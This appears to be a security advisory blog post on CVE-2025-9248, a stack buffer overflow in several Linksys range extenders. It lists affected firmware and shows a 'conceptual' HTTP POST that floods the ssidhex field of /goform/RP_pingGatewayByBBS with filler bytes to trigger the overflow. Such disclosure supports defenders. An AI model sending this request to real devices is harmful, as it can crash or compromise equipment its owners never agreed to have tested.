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CVE-2025-9248: Critical Stack-Based Buffer Overflow Vulnerability in Linksys Devices

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Overview

In the world of cybersecurity, vulnerabilities are an inevitable issue that every organization must face. Among these vulnerabilities, a major one was recently identified in specific Linksys devices that could potentially compromise systems and lead to data leakage. The vulnerability, dubbed CVE-2025-9248, poses a severe threat to Linksys RE6250, RE6300, RE6350, RE6500, RE7000, and RE9000 devices. This vulnerability matters because it allows a remote attacker to potentially gain unauthorized access and compromise the system, leading to loss of sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-9248
Severity: Critical (8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

Linksys RE6250 | 1.0.013.001, 1.0.04.001, 1.0.04.002
Linksys RE6300 | 1.0.013.001, 1.0.04.001, 1.0.04.002
Linksys RE6350 | 1.1.05.003, 1.2.07.001
Linksys RE6500 | 1.1.05.003, 1.2.07.001
Linksys RE7000 | 1.1.05.003, 1.2.07.001
Linksys RE9000 | 1.1.05.003, 1.2.07.001

How the Exploit Works

The vulnerability resides in the function RP_pingGatewayByBBS of the file /goform/RP_pingGatewayByBBS in the Linksys devices. A malicious user can manipulate the ssidhex argument in this function to cause a stack-based buffer overflow. This overflow can be leveraged to execute arbitrary code on the device, potentially leading to full system compromise. The attack may be performed remotely, increasing its potential impact.

Conceptual Example Code

While this example does not represent actual exploit code, it provides a conceptual illustration of how an attacker might trigger the vulnerability:
“`http
POST /goform/RP_pingGatewayByBBS HTTP/1.1
Host: target.linksysdevice.com
Content-Type: application/x-www-form-urlencoded
ssidhex=414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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